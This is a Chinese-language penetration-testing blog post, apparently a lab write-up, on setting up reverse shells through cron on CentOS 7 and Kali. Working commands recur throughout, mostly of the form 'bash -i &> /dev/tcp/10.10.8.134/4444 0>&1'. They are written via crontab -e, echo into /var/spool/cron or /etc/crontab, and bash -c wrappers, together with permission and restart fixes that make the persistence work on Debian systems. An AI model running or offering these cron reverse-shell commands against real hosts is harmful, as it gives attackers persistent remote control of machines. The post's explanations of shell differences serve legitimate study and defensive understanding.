Linux 计划任务反弹 Shell 探究
Linux 计划任务反弹 Shell 探究
本篇文章参考自:
看本篇文章之前,建议阅读一下之前写的:Linux Bash Shell 探究,不然容易把人看蒙。
计划任务功能在 Windows 系统、Linux 系统中历史很悠久了,方便运维管理。
而在渗透测试中,利用到计划任务的常见的有:挖矿病毒、Redis 未授权、Docker 特权模式逃逸、Cron 提权等,但是在 RedHat 系与 Debian 系 Linux 的计划任务是有一定的区别的,不仔细研究一下遇到了真的很折磨人(深受其害,每次遇到都是问题,淦)。
想起来之前学习 ActiveMQ 漏洞时使用 Corn 提权在 Kali 上复现了一遍,就踩了不少坑。
果然,懒惰乃万恶之源,是时候还债了。
注:本篇文章主要选取两系中的一个作为演示
- RedHat 系:CentOS 7 - 10.10.8.137
- Debian 系:Kali 2023.3 - 10.10.8.134
1 问题列举
bash -i >& /dev/tcp/ip/port 0>&1为什么在Kali的默认终端上反弹Shell没有用,而在CentOS上就可以反弹成功?Kali为什么将bash -i >& /dev/tcp/ip/port 0>&1写入Shell脚本中运行就可以直接反弹成功?Kali与CentOS的计划任务有何不同?/etc/cron和/var/spool/cron有啥区别?sh、dash、bash、zsh有啥区别?
2 Linux 计划任务 Crontab
2.1 简单介绍
crontab 命令被用来提交和管理用户的需要周期性执行的任务。
注:
- 在不同的 Linux 发行版中,cron 守护进程的名称可能会有所不同;
- RedHat 系:crond;
- Debian 系:cron。
主要参数:
-e:编辑该用户的计时器设置;-l:列出该用户的计时器设置;-r:删除该用户的计时器设置;
2.2 相关目录
负责调度各种管理和维护任务的目录:/etc/cron*:
1 | ┌──(root㉿kali)-[~] |
其中 crontab 作为系统计划任务调度的文件,重点在第一行的 SHELL,下文会提到:
1 | ┌──(root㉿kali)-[~] |
Kali 用户的计划任务目录:/var/spool/cron/crontabs/
CentOS 用户的计划任务目录:/var/spool/cron/
计划任务日志(系统日志):/var/log/syslog
2.3 /etc/crontab 和 /var/spool/cron 区别
/etc/crontab(系统)系统执行计划,在这个文件下添加任务需要指定用户;
/var/spool/cron/(用户)这个目录是以账号来区分每个用户自己的执行计划,在这个目录下添加任务不需要指定用户。
3 CentOS Cron 反弹 Shell
无论 RedHat 系与 Debian 系,都有下面这几种方式来计划任务反弹 Shell,但是不同系统之间有着不同的细微差距。
这里先以 CentOS 为例,这个比较简单,没多少坑。
3.1 crontab -e 写入 Shell
CentOS 上输入 crontab -e 就会出现一个文件,可以看到这是一个临时的缓存文件("/tmp/crontab.9dvQkY" 0L, 0C),下方写入命令并保存:
1 | * * * * * bash -i &> /dev/tcp/10.10.8.134/4444 0>&1 |
这时候使用 crontab -l 就可以看到设置的计划任务了:
1 | [root@localhost ~]# crontab -l |
同时可以看到在 /var/spool/cron 目录下多了一个文件为 root,里面的内容就是刚才写入的 bash 反弹命令:
1 | [root@localhost ~]# ls -l /var/spool/cron |
可以看到 Shell 成功反弹到 Kali 上:
1 | ┌──(root㉿kali)-[~] |
3.2 echo 写入 Shell
注:先删除原有 crontab 内容。
上面的 crontab -e 方式其实就是帮我们在 /var/spool/cron 目录下创建了一个 root 文件而已。
所以可以尝试直接使用 echo 命令来写入 bash 反弹命令到这个文件中,即下方命令:
1 | [root@localhost ~]# echo '* * * * * bash -i &> /dev/tcp/10.10.8.134/4444 0>&1' >> /var/spool/cron/root |
经测试,也可以成功反弹。那么这里就出现一个问题:难道文件名必须是 root 么?我改成另一个 Centos 存在的用户行不行?
尝试一下,首先创建一个 demo 用户,在进行文件创建:
1 | [root@localhost ~]# useradd demo |
可以发现,即使 demo 所属权限是 root,但还是反弹成功了,弹回了 demo 用户的 Shell:
1 | ┌──(root㉿kali)-[~] |
那改成其他用户呢?经过简单的尝试(贼坤儿久)根本不行。
结论:
- /var/spool/cron/ 目录下存放的是每个用户包括 root 的 crontab 任务,每个任务以创建者的名字命名。
- 若用户不存在,则任务不生效。
3.3 crontab -e 写入 Shell 文件
同理,Bash 反弹 Shell 除了直接输入命令外,还可以将命令写入 Shell 脚本文件中,然后在让其运行。
那么直接新建一个 /tmp/demo 的 Shell 脚本同时写入 Bash 反弹命令,再向计划任务中去执行这个文件,也是可以成功弹 Shell 的:
1 | [root@localhost ~]# echo 'bash -i &> /dev/tcp/10.10.8.134/4444 0>&1' > /tmp/demo |
成功反弹回 Shell:
1 | ┌──(root㉿kali)-[~] |
当然,脚本也可以这么写:
1 | [root@localhost ~]# cat /tmp/demo |
他会自动向 /var/spool/cron/root 添加定时 Shell:
1 | [root@localhost ~]# crontab -l |
3.4 echo 写入 Shell 到 /etc/crontab
可以先查看一下这个文件:
1 | [root@localhost ~]# cat /etc/crontab |
可以发现 /etc/crontab 和 /var/spool/cron/root 命令格式有所不同,在 /etc/crontab 写入计划任务是需要用户名的:
1 | [root@localhost ~]# echo '* * * * * root bash -i &> /dev/tcp/10.10.8.134/4444 0>&1' >> /etc/crontab |
成功反弹回 Shell:
1 | ┌──(root㉿kali)-[~] |
4 Kali Cron 反弹 Shell
上面介绍了几种关于 CentOS 系统的计划任务反弹 Shell,但是远远不够的。
因为在 Debian 系中的计划任务反弹 Shell 会复杂很多。
4.1 crontab -e 写入 Shell
Kali 上输入 crontab -e 就会出现一个文件,可以看到这是一个临时的缓存文件:

有许多注释信息,不过无所谓,写入和 CentOS 一样的 Bash 反弹命令并保存:
1 | ┌──(root㉿kali)-[~] |
但是迟迟没有 Shell 反弹回来:
1 | ┌──(root㉿kali)-[~] |
使用 journalctl 命令来监视系统日志并过滤出 cron 服务的相关信息(Kali 没有 syslog 文件):
1 | ┌──(root㉿kali)-[/var/log] |
cron 服务输出解释如下:
Oct 16 14:07:01 kali CRON[1589]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0):表示cron服务在14:07:01开始为root用户(uid=0)打开了一个会话。Oct 16 14:07:01 kali CRON[1590]: (root) CMD (bash -i &> /dev/tcp/10.10.8.134/4444 0>&1):表示root用户(uid=0)的cron任务正在执行。具体命令为bash -i &> /dev/tcp/10.10.8.134/4444 0>&1,它将bash shell的输入和输出重定向到IP地址为10.10.8.134的主机的4444端口。Oct 16 14:07:01 kali CRON[1589]: (CRON) info (No MTA installed, discarding output):表示cron服务向日志中写入了一条信息,说明没有安装邮件传输代理(MTA),因此输出被丢弃。这是因为cron任务的输出通常会通过电子邮件发送给相关用户,但在这种情况下,由于缺少MTA,输出被丢弃。Oct 16 14:07:01 kali CRON[1589]: pam_unix(cron:session): session closed for user root:表示cron服务在14:07:01结束了root用户(uid=0)的会话。
注:Cron 默认会将计划任务的错误信息以邮件的方式发送给用户,但是 Kali 系统默认没有安装邮件系统,安装也太麻烦了。
可以看到真正的信息被 discarding output(丢弃)了,怎么办呢?
把 Shell 反弹的脚本改一改,把错误重定向到一个文件即可:
1 | ┌──(root㉿kali)-[~] |
随后等一等,就可以看到真正的报错信息了:No such file or directory。
那么又出现了一个新的问题,为什么会出现这个报错?
那么前面说过,查看计划任务的启动 Shell,可以在 /etc/crontab 下看到,确实没有 bash 只有一个 /bin/sh,换句话说 Kali 的 Cron 中命令执行的 Shell 环境是 /bin/sh:
1 | ┌──(root㉿kali)-[~] |
4.1.1 /bin/sh & /bin/dash & /bin/bash
那么这里来查看一下到底 /bin/sh 是什么,如下可以看出 sh 其实是指向 dash 的一个软连接,那 dash 是什么呢?
1 | ┌──(root㉿kali)-[~] |
这里询问了下 ChatGPT 得到如下回答:
- 在
Debian中,/bin/sh和/bin/dash是两个不同的 Shell 解释器。 /bin/sh是一个符号链接,通常链接到系统中的默认Shell解释器。在过去的Debian版本中,默认的/bin/sh链接到/bin/bash。然而,自Debian 10(Buster)版本起,/bin/sh链接到了/bin/dash。/bin/dash是一个更轻量级的Shell解释器,它遵循POSIX(Portable Operating System Interface)标准。与Bash相比,Dash执行速度更快,启动更快,占用更少的系统资源。因此Debian选择将默认的/bin/sh链接到/bin/dash,以提高系统的整体性能。- 需要注意的是,
Dash是一个更纯粹的Shell解释器,不像Bash那样提供了许多扩展功能和特性。
总结:Dash(/bin/dash) 本身并不是一个交互式 Shell,它更多地被设计为一种用于脚本执行的 Shell 解释器。
这里就有个重点了,你 dash 是少了什么导致的 Shell 反弹失败?其实非常简单,找答案时走了很多弯路(淦)。
4.1.1.1 /dev/tcp
不知道小伙伴还知不知道刚刚的报错信息是什么:
1 | /dev/tcp/10.10.8.134/4444: No such file or directory |
翻译一下,其实说的就是 /dev/tcp 这个文件不存在,那这个文件是什么?这就是重点了!
/dev/tcp是Bash Shell的一个特殊功能,而不是标准的Unix/Linux文件系统的一部分,也不是标准的POSIX Shell特性。在
Bash Shell中,/dev/tcp是一种特殊的文件路径,可以用于建立基于TCP的网络连接。它允许你通过文件I/O的方式与远程主机进行通信,例如连接到指定的IP地址和端口。这种特性是
Bash Shell的扩展功能,不是所有其他Shell(如Zsh、Ksh、Dash等)都提供的,每个Shell程序可以根据其设计和目标选择支持不同的功能和特性。所以,如果你想使用/dev/tcp特性,确保你在Bash Shell环境下运行你的脚本或命令。其他常见的
Unix/Linux Shell,如sh、csh、ksh、zsh、dash,通常不支持/dev/tcp。在其他Shell中,你需要使用更传统的网络工具,如nc或socat,来实现类似的网络连接。因此,在编写可移植的脚本时,最好避免使用
Bash特定的功能,以确保脚本在不同的Shell环境中都能正常运行。
Bingo!找到问题所在了,同理,我们就可以知道为什么 Kali 下执行这个命令也报错的原因了(Kali 用的是 Zsh):
1 | ┌──(root㉿kali)-[~] |
这里有小伙伴会有个疑问,bash -i 不是就是开启一个交互式的 Bash 子 Shell 吗?都在 Bash 环境下了怎么会没有 /dev/tcp 文件?这个问题我也想了很久,查了很多很多的文档,终于给我整明白了:
1 | bash -i 会启动一个交互式的 Bash 子 Shell,但因为你当前是在 zsh 环境下执行这个命令,所以实际上开启了一个 Bash 子 Shell 在 Zsh 的环境下运行。然后,由于 Zsh 不支持 Bash 中特殊的 /dev/tcp 文件路径,导致了报错。 |
Nice!
4.1.1.2 no such file or directory 问题解决
在 Kali 系统上使用 Cron 执行 bash -i &> /dev/tcp/ip/port 0>&1 无法直接反弹 Shell 是因为 Kali 系统 Cron 打开的终端默认是 sh 运行的命令,而刚才也提到了,sh 实际上就是 dash。
而 dash 这个 Shell 不存在 /dev/tcp 文件,也就无法进行 Shell 反弹。
1 | ┌──(root㉿kali)-[~] |
解释一下上面的代码的含义:
sh:切换到/bin/sh也就是/bin/dash的Shell之中。ps -f:显示当前界面运行的所有进程、子进程,可以看到sh是Zsh的子Shell进程。bash -i &> /dev/tcp/10.10.8.134/4444 0>&1:执行Shell反弹,但是显示了Directory nonexistent目录不存在的字样,符合之前对于Bash上下文的描述。ps -f:再次查看所有进程,发现在sh之下又开启了一个bash的子Shell进程,能用吗?不能,因为下面有提示,该进程输入已经被停止了。ps -aux | grep bash -i:查看一下bash -i的进程状态,处于T(Stop)的状态,用不了的。bash -i &> /dev/tcp/10.10.8.134/4444 0>&1那我切换到bash进程下呢?尝试一下:
1 | ┌──(root㉿kali)-[~] |
解释一下上面的代码的含义:
bash:切换到/bin/bash的Shell之中。ps -f:显示当前界面运行的所有进程、子进程,可以看到bash是zsh的子Shell进程。bash -i &> /dev/tcp/10.10.8.134/4444 0>&1:执行Shell反弹,并且没有任何的报错信息,Kali也接受到了反弹的Shell。
那有没有不切换 Shell 就可以反弹的法子呢?还真有:
bash -c是Bash Shell中的一个选项,用于指定要在Shell中执行的命令或脚本。- 它的作用是将后续的命令或脚本作为参数传递给
bash -c,从而创建一个新的Bash子进程来执行指定的命令或脚本。
1 | ┌──(root㉿kali)-[~] |
注:有小伙伴可能还有个疑问,bash -i 不行吗?写成 bash -i ‘bash -i &> /dev/tcp/10.10.8.134/4444 0>&1’,对不起还真不行,因为 bash -i 是指开启一个交互式 Bash Shell 的子 Shell,无法执行命令。
这时回过头来看,crontab -e 在 Kali 系统上,写入的内容,不能是 bash -i 开头的 Bash 反弹,而应该是 bash -c 开头,即:
1 | ┌──(root㉿kali)-[~] |
Kali 上成功接收到了 Shell:
1 | ┌──(root㉿kali)-[~] |
4.2 echo 写入 Shell
注:先删除原有 crontab 内容。
上面的 crontab -e 方式其实就是帮我们在 /var/spool/cron/crontabs 目录下创建了一个 root 文件而已。
先把原来的 /var/spool/cron/crontabs/root 文件删除:
1 | ┌──(root㉿kali)-[~] |
尝试直接使用 echo 命令来写入 bash 反弹命令到这个文件中,即下方命令:
1 | ┌──(root㉿kali)-[~] |
这时便出现问题了,Shell 弹不回来,为什么?查看一下日志:
1 | ┌──(root㉿kali)-[~] |
其中一条信息比较显眼:INSECURE MODE (mode 0600 expected),不安全模式,期望权限为 600。
之前查看 /var/spool/cron/crontabs/root 文件时已经看见了 root 的文件权限:
1 | ┌──(root㉿kali)-[~] |
但是现在却是 644(至于为什么是 644,不知道要打屁股了):
1 | ┌──(root㉿kali)-[~] |
改一改权限:
1 | ┌──(root㉿kali)-[~] |
这时已经不报错了,但是还是不反弹,贼坑,原因是要重启 cron 服务才行:
1 | ┌──(root㉿kali)-[~] |
反弹成功:
1 | ┌──(root㉿kali)-[~] |
4.3 crontab -e 写入 Shell 文件
通过命令 crontab -e 来创建的计划任务生成的 root 文件,默认就是 600 权限!
所以我们不需要再改权限和重启 Cron 服务了,直接编辑就行了。
可以参考 CentOS 的 crontab -e 写入 Shell 文件,只要把命令改为 bash -c 'xxxx' 即可。
4.4 echo 写入 Shell 到 /etc/crontab
可以先查看一下这个文件:
1 | ┌──(root㉿kali)-[~] |
成功反弹回 Shell:
1 | ┌──(root㉿kali)-[~] |
注:
- 写入 /etc/crontab 不推荐在运维或者日常使用,只推荐在渗透中使用。
- 因为这是系统级别的计划任务,不是针对用户的,不方便进行管理和识别。
5 总结与问题答疑
5.1 第一问
bash -i >& /dev/tcp/ip/port 0>&1 为什么在 Kali 的默认终端上反弹 Shell 没有用,而在 CentOS 上就可以反弹成功?
CentOS 中默认 Cron 服务是 /bin/bash 终端,有 /dev/tcp 这样的特殊文件,可以进行 Shell 反弹;
Kali 中默认 Cron 服务是 /bin/sh -> /bin/dash 终端,没有 /dev/tcp 这样的特殊文件,无法进行 Shell 反弹。
5.2 第二问
Kali 为什么将 bash -i >& /dev/tcp/ip/port 0>&1 写入 Shell 脚本中运行就可以直接反弹成功?
注:在 Debian 中执行 Shell 脚本时,默认情况下会使用 /bin/sh 作为解释器,在 Debian 系统中,/bin/sh 通常是链接到 /bin/dash。
其实这个是要有前提的,这部分没有演示,简单说明一下,假设这时脚本这么写:
1 | ┌──(root㉿kali)-[~] |
脚本执行完发现,出现报错了:Directory nonexistent,是不是很眼熟。
在 Debian 系中,如果在执行 Shell 脚本时,没有指定要执行该脚本的解释器,脚本默认情况下会使用 /bin/sh 作为解释器。
Bingo~,找到问题了,所以在 Debian 系中,写脚本时要指定脚本解释器:
1 | ┌──(root㉿kali)-[~] |
反弹成功~:
1 | ┌──(root㉿kali)-[~] |
5.3 第三问
Kali 与 CentOS 的计划任务有何不同?
CentOS:Cron用户的计划任务目录:/var/spool/cron/- 计划任务日志(系统日志):
/var/log/syslog - 用户的计划任务目录权限:
echo创建的文件可使用,644权限
Kali:Kali用户的计划任务目录:/var/spool/cron/crontabs/- 计划任务日志(系统日志):无,需要使用
journalctl -u cron.service -f进行查看 - 用户的计划任务目录权限:
echo创建的文件不可使用,644权限会提示报错,需要修改为600权限
5.4 第四问
/etc/crontab 和 /var/spool/cron 有啥区别?
/etc/crontab(系统)系统执行计划,在这个文件下添加任务需要指定用户;/var/spool/cron/(用户)这个目录是以账号来区分每个用户自己的执行计划,在这个目录下添加任务不需要指定用户。
5.5 第五问
sh、dash、bash、zsh 有啥区别?
sh:
CentOS:/bin/sh -> /bin/bashKali:/bin/sh -> /bin/dash
dash:Dash(/bin/dash) 本身并不是作为一个正常 Shell 使用,它更多地被设计为一种用于脚本执行的 Shell 解释器。
bash:Bash(/bin/bash) 功能强大的交互式 Shell 解释器,提供了许多扩展和功能,使得编写和执行复杂的 Shell 脚本更加方便,最重要的是有 /dev/tcp 这样的特殊文件,可以进行 Shell 反弹。
zsh:Zsh(Z Shell) 是一种功能强大的交互式 Shell 解释器,是对标准 Bourne Shell(sh) 的扩展和改进,但 zsh 就不支持像 Bash 那样直接使用 /dev/tcp 和 /dev/udp 设备文件来进行网络连接。










